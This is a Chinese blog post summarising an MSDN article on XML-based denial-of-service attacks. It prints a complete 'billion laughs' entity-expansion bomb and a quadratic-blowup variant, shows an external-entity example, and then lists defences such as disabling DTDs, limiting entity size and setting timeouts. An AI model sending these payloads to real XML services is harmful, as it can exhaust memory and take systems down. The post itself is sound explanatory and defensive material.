内容来自此文:http://msdn.microsoft.com/en-us/magazine/ee335713.aspx

DoS(Denial of service:拒绝服务)攻击由来已久(1992),比SQL注入(1998),跨站脚本(1995),CSRF(1994)都要早。

DoS攻击非常简单有效。最早的DoS攻击使用TCP SYN洪泛攻击,现代的服务器软硬件大多已经抵御了此类攻击。http://baike.baidu.com/link?url=v24lBbsdB0TjV1y6qwL1cF9cOygTGg9AesHna4S7PwOcwa7F7k2_Js07jqwfEQNgkGLSFMm3xpoAKz1o2thnHq
http://blog.csdn.net/jiangzhengdong/article/details/8119223
新的DoS攻击转向应用层,比如基于XML的DoS攻击。

XML炸弹
XML document type definition (DTD)可以定义entity,DTD可以出现在外部文件或文件内部。
利用DTD可以产生XML炸弹,也就是能迅速占用大量内存的文件,如下为例:
当XML解析器尝试解析该文件时,由于DTD的定义指数级展开,这个1K不到的文件会占用到3G的内存。

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

还有一种,虽然扩展率没那么大,也很有效。200K的能够扩展到2.5G。

<?xml version="1.0"?>
<!DOCTYPE kaboom [
<!ENTITY a "aaaaaaaaaaaaaaaaaa...">
]>
<kaboom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</kaboom>

外部实体攻击

DTD也可以引用外部的实体链接。

<!ENTITY stockprice SYSTEM "http://www.contoso.com/currentstockprice.ashx">

如果遇到这种实体stockprice,永不返回,那么XML解析也就会超时了。但更好的攻击是开始返回无限长的字符串,耗尽资源。

防御XML炸弹
禁止DTD

防御外部实体攻击
限制每个实体的最大长度
限制超时

最新文章

  1. 怎样用ZBrush对模型进行渲染(二)
  2. js 根据不同情况引入不同操作
  3. 《JavaScript权威指南》学习笔记 第三天 找个对象
  4. java.lang.reflect.Method
  5. poj 3321 Apple Tree dfs序+线段树
  6. hdu 4165 dp
  7. Linux进程间通信-命名管道
  8. 最全的PHP常用函数大全
  9. SGU 156. Strange Graph(欧拉路)
  10. JAVA邮件收发实现(待)
  11. MVC模式编程演示样本-登录认证(静态)
  12. HTML5学习+javascript学习:打飞机游戏简介以及Model层
  13. 移动Web学习笔记(第1天)-bootstrap框架的使用
  14. linux 下怎样查找一个文件夹在哪个目录下?
  15. Hibernate的DetachedCriteria使用(含Criteria)
  16. 面向对象+JAVA基础
  17. 李白打酒——C++
  18. 小程序支持连Wi-Fi,代码包到4M
  19. Swig--模板引擎
  20. [Luogu 3707] SDOI2017 相关分析

热门文章

  1. PHP性能分析
  2. 自制小工具监控wcf服务是否正常
  3. 用“逐步排除”的方法定位Java服务线上“系统性”故障(转)
  4. WPF编译时提示“...不包含适合于入口点的静态‘Main’方法 ...”
  5. Error:/etc/fstab:Read-only file system错误的解决办法
  6. Ubuntu下codeblocks汉化
  7. Java中如何防止内存泄漏的发生
  8. Get current time and date on Android
  9. 简单制作mib表
  10. Openmeeting 网页打开缓慢,视频卡的一个解决方法